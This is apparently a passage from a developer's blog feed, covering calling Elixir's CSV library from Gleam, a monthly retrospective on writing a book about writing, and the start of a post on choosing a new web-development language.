&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">encode&lt;/span>(data:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)))&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>data&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>csv_encode&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>enum_to_list&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The function is simple. It takes data in the form of a list of list of strings, then uses &lt;a href="https://tour.gleam.run/functions/pipelines/">the Gleam pipe operator&lt;/a> to pass it to &lt;code>csv_encode&lt;/code>, then uses the pipe operator again to convert the result to a Gleam-compatible list of strings.&lt;/p>
&lt;p>This is the only function in my &lt;code>csv&lt;/code> module that I declare as public, as the other wrappers are too low-level to be useful to Gleam clients of this module.&lt;/p>
&lt;p>The full module looks like this:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Create a custom Gleam type to represent the type we receive from Elixir.
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">type&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ElixirEnumerable&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#bbb">@external&lt;/span>(erlang,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Elixir.CSV&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;encode&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">csv_encode&lt;/span>(data:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)))&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ElixirEnumerable&lt;/span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#bbb">@external&lt;/span>(erlang,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Elixir.Enum&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;to_list&amp;#34;&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">enum_to_list&lt;/span>(elixir_enum:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">ElixirEnumerable&lt;/span>)&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">encode&lt;/span>(data:&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)))&lt;span style="color:#666"> &lt;/span>-&amp;gt;&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf;text-decoration:underline">List&lt;/span>(&lt;span style="color:#447fcf;text-decoration:underline">String&lt;/span>)&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>data&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>csv_encode&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>enum_to_list&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/notes/gleam-call-elixir/csv.gleam" download class="download-raw-button">download csv.gleam&lt;/a>
 &lt;/div>


&lt;h2 id="calling-my-wrapper-function">Calling my wrapper function&lt;/h2>
&lt;p>Now that I have a Gleam-native wrapper for the &lt;code>CSV.encode&lt;/code> function, I can write a simple Gleam app to call my wrapper:&lt;/p>




 &lt;div class="inline-file">
 &lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-gleam" data-lang="gleam">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span>&lt;span style="color:#666"> &lt;/span>gleam/io&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span>&lt;span style="color:#666"> &lt;/span>gleam/string&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">import&lt;/span>&lt;span style="color:#666"> &lt;/span>csv&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>&lt;span style="color:#6ab825;font-weight:bold">pub&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#6ab825;font-weight:bold">fn&lt;/span>&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#447fcf">main&lt;/span>()&lt;span style="color:#666"> &lt;/span>{&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#ed9d13">&amp;#34;Title&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Author&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Release Year&amp;#34;&lt;/span>],&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#ed9d13">&amp;#34;Infinite Jest&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;David Foster Wallace&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;1996&amp;#34;&lt;/span>],&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#ed9d13">&amp;#34;Emma&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Jane Austen&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;1815&amp;#34;&lt;/span>],&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>[&lt;span style="color:#ed9d13">&amp;#34;Catch-22&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;Joseph Heller&amp;#34;&lt;/span>,&lt;span style="color:#666"> &lt;/span>&lt;span style="color:#ed9d13">&amp;#34;1961&amp;#34;&lt;/span>]&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>]&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>csv.&lt;span style="color:#447fcf">encode&lt;/span>()&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>string.&lt;span style="color:#447fcf">concat&lt;/span>()&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666"> &lt;/span>|&amp;gt;&lt;span style="color:#666"> &lt;/span>io.&lt;span style="color:#447fcf">print&lt;/span>()&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#666">&lt;/span>}&lt;span style="color:#666">
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>
 &lt;a href="https://mtlynch.io/notes/gleam-call-elixir/call_elixir.gleam" download class="download-raw-button">download call_elixir.gleam&lt;/a>
 &lt;/div>


&lt;p>I&amp;rsquo;m creating a simple list of list of strings, passing it to my &lt;code>csv.encode&lt;/code> Gleam wrapper. It returns a list of strings, so I call &lt;a href="https://hexdocs.pm/gleam_stdlib/gleam/string.html#concat">Gleam&amp;rsquo;s &lt;code>string.concat&lt;/code>&lt;/a> standard library function to join strings into a single string. Finally, I call &lt;code>io.print&lt;/code> to print the result to the console.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ gleam run
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiling call_elixir
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Compiled in 0.20s
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Running call_elixir.main
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Title,Author,Release Year
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Infinite Jest,David Foster Wallace,1996
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Emma,Jane Austen,1815
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Catch-22,Joseph Heller,1961
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>It works! I successfully called the Elixir CSV library from my simple Gleam application.&lt;/p>
&lt;h2 id="source-code">Source code&lt;/h2>
&lt;p>The full source of this example is available below:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://codeberg.org/mtlynch/gleam-call-elixir-simple">https://codeberg.org/mtlynch/gleam-call-elixir-simple&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>&amp;ndash;&lt;/p>
&lt;p>&lt;em>Thanks to &lt;a href="https://lpil.uk/">Louis Pilford&lt;/a> and &lt;a href="https://github.com/DisguisedPigeon">DisguisedPigeon&lt;/a> for their helpful feedback on this post.&lt;/em>&lt;/p></content:encoded></item><item><title>Refactoring English: Month 6</title><link>https://mtlynch.io/retrospectives/2025/06/</link><pubDate>Wed, 04 Jun 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2025/06/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>The writing techniques I planned last month helped me publish faster and focus better.&lt;/li>
&lt;li>I need to find more ways to talk to readers about my book.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-two-chapters-of-my-book-to-pre-order-readers">Publish two chapters of my book to pre-order readers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &amp;ldquo;You&amp;rsquo;re Qualified to Write a Blog Post&amp;rdquo; and &amp;ldquo;Good vs. Bad Content Marketing&amp;rdquo;&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I completed these chapters and sent them to pre-order customers.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>The writing techniques I planned last month helped me publish faster and focus better.&lt;/li>
&lt;li>I need to find more ways to talk to readers about my book.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="publish-two-chapters-of-my-book-to-pre-order-readers">Publish two chapters of my book to pre-order readers&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Published &amp;ldquo;You&amp;rsquo;re Qualified to Write a Blog Post&amp;rdquo; and &amp;ldquo;Good vs. Bad Content Marketing&amp;rdquo;&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>I completed these chapters and sent them to pre-order customers.&lt;/p>
&lt;h3 id="assign-soft-writing-time-limits-to-every-chapter-of-my-book">Assign soft writing time limits to every chapter of my book&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added time limits to each chapter and wrote a quick script to process them all.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>Explicit time limits have helped me avoid spinning on the same chapter forever.&lt;/p>
&lt;h3 id="adapt-preview-chapters-of-my-book-to-asciidoc">Adapt &lt;a href="https://refactoringenglish.com/chapters/">preview chapters&lt;/a> of my book to Asciidoc&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Started this but never finished.&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: F&lt;/li>
&lt;/ul>
&lt;p>I kept putting this off because it&amp;rsquo;s so boring to adapt existing chapters from Hugo to Asciidoc, but it will be good to get done.&lt;/p>
&lt;p>It was harder than I expected to port over the custom CSS styles I&amp;rsquo;d applied on the web chapters to Asciidoc, so I need to get creative in how I style the PDF/epub versions.&lt;/p>
&lt;h2 id="one-hour-of-good-writing-per-day-works">One hour of good writing per day works&lt;/h2>
&lt;p>In last month&amp;rsquo;s retrospective, I brainstormed ideas about &lt;a href="https://mtlynch.io/retrospectives/2025/05/#managing-my-time-as-i-write-a-book">how to manage my time better as I write my book&lt;/a>.&lt;/p>
&lt;p>I found it difficult to decide how much time to invest in each chapter and how many hours per day to spend on writing given that I have no strict deadline and no objective way to decide if any chapter is ready to publish.&lt;/p>
&lt;p>My plan was:&lt;/p>
&lt;ul>
&lt;li>Write in flow state for 60 minutes per day (just writing, no browsing the web or my phone).&lt;/li>
&lt;li>Start each workday by planning how I&amp;rsquo;ll spend each 30-minute block in my schedule.&lt;/li>
&lt;li>Assign soft limits to how much I can spend on each chapter.&lt;/li>
&lt;/ul>
&lt;p>I&amp;rsquo;m happy to report that these techniques worked pretty well. I didn&amp;rsquo;t have perfect discipline every day, but when I know the goal is to only write for an hour per day, I find it easier to resist distractions and focus on writing.&lt;/p>
&lt;p>The 60-minute limit also helped me capitalize on that time better. I used to just call the first hour of my day &amp;ldquo;writing time,&amp;rdquo; and I&amp;rsquo;d allow myself to do anything writing-related, which included fixing grammar or writing easier posts (like these retrospectives). Recognizing that my flow state time is limited made me better at using that hour just for writing and editing my book, which are my most cognitively demanding tasks. So, I still make time in my day for less challenging book tasks, but I schedule them outside of my focus hour.&lt;/p>
&lt;h2 id="becoming-less-precious-about-my-writing">Becoming less precious about my writing&lt;/h2>
&lt;p>There&amp;rsquo;s a quote I love in Rob Fitzpatrick&amp;rsquo;s book, &lt;a href="https://www.usefulbooks.com/book">&lt;em>Write Useful Books&lt;/em>&lt;/a>, about how it&amp;rsquo;s more important for non-fiction authors to give impactful advice than it is for them to have beautiful phrasing and perfect grammar:&lt;/p>
&lt;blockquote>
&lt;p>I’ve heard plenty of people recommend a messy-but-effective book by saying:&lt;/p>
&lt;blockquote>
&lt;p>Listen, it’s terribly written and full of typos and has a cover that appears to have been drawn by a distracted toddler, but it’s got something inside that’s just too important to miss. It’s going to change your life. You’ve got to read it. Trust me.&lt;/p>&lt;/blockquote>
&lt;p>But I’ve never heard even a single person recommend a problem-solver with the inverse argument of:&lt;/p>
&lt;blockquote>
&lt;p>This book is a real zero-impact way to spend thirteen dollars and three hours. But you can tell that the author is super smart, the cover is gorgeous, and there’s not even a single typo. You’re going to love it.&lt;/p>&lt;/blockquote>
&lt;p>Rob Fitzpatrick, &lt;a href="https://www.usefulbooks.com/book">&lt;em>Write Useful Books&lt;/em>&lt;/a>&lt;/p>&lt;/blockquote>
&lt;p>At the start of last month, I went through every planned chapter of my book and assigned a time limit for the first draft. So, to declare that I wanted to spend just five hours on my content marketing chapter, I added this comment to the top:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Target: 5h
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>I ended up exceeding the limit on my content marketing chapter by three hours, so I updated the comment to this:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-c" data-lang="c">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Original Target: 5h
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Target: 9h
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic">// Elapsed: 8h
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>And I wrote a short script to tell me my progress on the full book:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ ./dev-scripts/evaluate-time-remaining
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Total target (current): 119.5h / 23.9wks
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Total target (original): 114.0h / 22.8wks
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Total elapsed: 19.5h / 3.9wks
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Total remaining: 100.0h / 20.0wks
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>Obviously, I&amp;rsquo;m not perfect at obeying my time limits yet, but setting a limit discourages me from fussing too much over my wording.&lt;/p>
&lt;p>I have this mental block that because I&amp;rsquo;m writing a book about writing, every word has to be perfect before any readers see it. I&amp;rsquo;m trying to adopt the attitude that I&amp;rsquo;m currently just working on a first draft, and it&amp;rsquo;s more important to convey useful ideas than to maximize eloquence.&lt;/p>
&lt;h2 id="how-can-i-keep-talking-to-readers">How can I keep talking to readers?&lt;/h2>
&lt;p>When I publish new blog posts, I get satisfaction from hearing reader feedback and seeing discussions about my posts on places like Hacker News and Lobsters.&lt;/p>
&lt;p>I find it hard to replicate that feeling of feedback for the chapters I only send to pre-order readers. I&amp;rsquo;ve tried sending out questionnaires, but only a handful of readers fill them out.&lt;/p>
&lt;p>I need a way to keep talking to readers about the book, both for my own motivation and to make sure I&amp;rsquo;m writing about things readers care about and my explanations make sense.&lt;/p>
&lt;p>I&amp;rsquo;d like to do more video calls. I&amp;rsquo;ve done two live video calls with groups of readers so far, and those have been fun and helpful in understanding what readers want to learn from me and from the book.&lt;/p>
&lt;h2 id="7k-for-a-brand-new-project-is-still-pretty-good">$7k for a brand-new project is still pretty good&lt;/h2>
&lt;p>I&amp;rsquo;m still struggling with doubts about my book. I&amp;rsquo;m betting a lot on a product that generates less money than a software product would. I&amp;rsquo;ve made about $7k from pre-orders, but I have a nagging worry that I committed myself to the book for the next several months, and I might not make any money in that time.&lt;/p>
&lt;p>Then, I realized that $7k in profit is pretty good five months in!&lt;/p>
&lt;p>If I started working on a software product five months ago and already had $7k in profits, that would be a great start.&lt;/p>
&lt;p>I haven&amp;rsquo;t run the numbers, but I think that hour-for-hour, my book has had the third-best return on investment of any of my products (after TinyPilot and Hit the Front Page of Hacker News). I&amp;rsquo;m still falling shy of my $50k profit goal for 2025, but I&amp;rsquo;m doing better than I feel like I&amp;rsquo;m doing. And there are still ways to keep selling pre-orders as I write.&lt;/p>
&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>Published &lt;a href="https://mtlynch.io/notes/which-new-language/">&amp;ldquo;Which New Language Should I Learn for Web Development?&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>Published my &lt;a href="https://mtlynch.io/notes/simon-willison-software-misadventures/">notes from Simon Willison&amp;rsquo;s Interview on Software Misadventures&lt;/a>
&lt;ul>
&lt;li>I always feel like I should do more of this because I find it valuable to myself and for other people.&lt;/li>
&lt;li>But then I do it, and it takes longer than I expect, and I can&amp;rsquo;t share it anywhere, and I remember why I don&amp;rsquo;t do it very often.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>I appeared as a guest on &lt;a href="https://tmpdir.org/044/">The TMPDIR podcast&lt;/a> to talk about ways for developers to improve their writing.&lt;/li>
&lt;li>Upgraded my home NAS server from 23 TB to 33 TB.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>Limit your focused writing time, but make the most of it.
&lt;ul>
&lt;li>Knowing that I have to stay in flow state for 60 minutes per day helps me focus and makes me value that time more.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Prioritize conversations with readers.
&lt;ul>
&lt;li>Conversations with readers help my motivation and give me confidence that I&amp;rsquo;m writing something people want to read.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Offer a lower-friction way for users to pre-order my book.
&lt;ul>
&lt;li>Currently, the only way is through Kickstarter, which requires readers to create a Kickstarter account.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Publish a new sample chapter on the book website.&lt;/li>
&lt;li>Meet at least 10 readers on video calls.&lt;/li>
&lt;/ul></content:encoded></item><item><title>Which New Language Should I Learn for Web Development?</title><link>https://mtlynch.io/notes/which-new-language/</link><pubDate>Thu, 29 May 2025 00:00:00 +0000</pubDate><guid>https://mtlynch.io/notes/which-new-language/</guid><description>&lt;p>One of my goals for the year is to learn a new programming language. It&amp;rsquo;s been a while since I learned a new language, and I feel like a lot of the languages I know well (Go, Python, C++) are similar to each other, so I want to try getting out of my comfort zone a bit with a language that feels weird to me.&lt;/p>
&lt;h2 id="requirements">Requirements&lt;/h2>
&lt;p>Here&amp;rsquo;s what I&amp;rsquo;m looking for:&lt;/p></description><content:encoded>&lt;p>One of my goals for the year is to learn a new programming language. It&amp;rsquo;s been a while since I learned a new language, and I feel like a lot of the languages I know well (Go, Python, C++) are similar to each other, so I want to try getting out of my comfort zone a bit with a language that feels weird to me.&lt;/p>
&lt;h2 id="requirements">Requirements&lt;/h2>
&lt;p>Here&amp;rsquo;s what I&amp;rsquo;m looking for:&lt;/p>
&lt;ul>
&lt;li>It&amp;rsquo;s significantly different from languages I know well&lt;/li>
&lt;li>Web apps are a first-class citizen&lt;/li>
&lt;li>Makes it easy to build small, simple apps
&lt;ul>
&lt;li>I want the opposite of Angular, which feels overly optimized for large projects&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Supports backend and frontend
&lt;ul>
&lt;li>It doesn&amp;rsquo;t have to have a frontend framework, but I want to be able to use the same toolchain for backend and frontend like I can in Go or Python.&lt;/li>
&lt;li>I don&amp;rsquo;t want to use something like Elm that&amp;rsquo;s frontend-only.&lt;/li>
&lt;li>I don&amp;rsquo;t want separate build chains for the frontend and backend code (and I&amp;rsquo;m fine writing vanilla JS with some light backend templating).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Compatible with SQLite as a data store&lt;/li>
&lt;li>Has good support for unit testing&lt;/li>
&lt;li>Open-source&lt;/li>
&lt;li>Actively-maintained&lt;/li>
&lt;/ul>
&lt;h2 id="nice-to-haves">Nice-to-haves&lt;/h2>
&lt;ul>
&lt;li>There&amp;rsquo;s a good ebook available.
&lt;ul>
&lt;li>Paid books are fine.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Low abstraction / limited &amp;ldquo;magic.&amp;rdquo;
&lt;ul>
&lt;li>I find languages like Angular and Vue to be too &amp;ldquo;magical&amp;rdquo; in that there&amp;rsquo;s a bunch of Node.js packages in the mix that I don&amp;rsquo;t understand. And starting out, it feels fine, but once I get beyond trivial programs, I realize &lt;a href="https://www.joelonsoftware.com/2002/11/11/the-law-of-leaky-abstractions/">the abstractions are leaky&lt;/a>, and there are complicated systems under the covers that I don&amp;rsquo;t understand. The other end of the spectrum is Zig, which feels &lt;a href="https://mtlynch.io/bootstrapped-founder-year-7/#zig">extremely easy to reason about&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Static typing&lt;/li>
&lt;/ul>
&lt;h2 id="non-goals">Non-goals&lt;/h2>
&lt;ul>
&lt;li>Maximum performance
&lt;ul>
&lt;li>Most of the apps I write have tiny performance requirements. Usually, the only user is me, and other times, I don&amp;rsquo;t expect more than a few dozen users simultaneously.&lt;/li>
&lt;li>I don&amp;rsquo;t want to use something that&amp;rsquo;s slow for a single user, but I want to avoid things that make tradeoffs in the name of achieving high scale.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h2 id="how-much-i-enjoy-various-languages">How much I enjoy various languages&lt;/h2>
&lt;p>For reference, here&amp;rsquo;s how much I enjoy working in some other programming languages I know:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Language&lt;/th>
 &lt;th>Rating&lt;/th>
 &lt;th>My Experience&lt;/th>
 &lt;th>Notes&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Go&lt;/td>
 &lt;td>9&lt;/td>
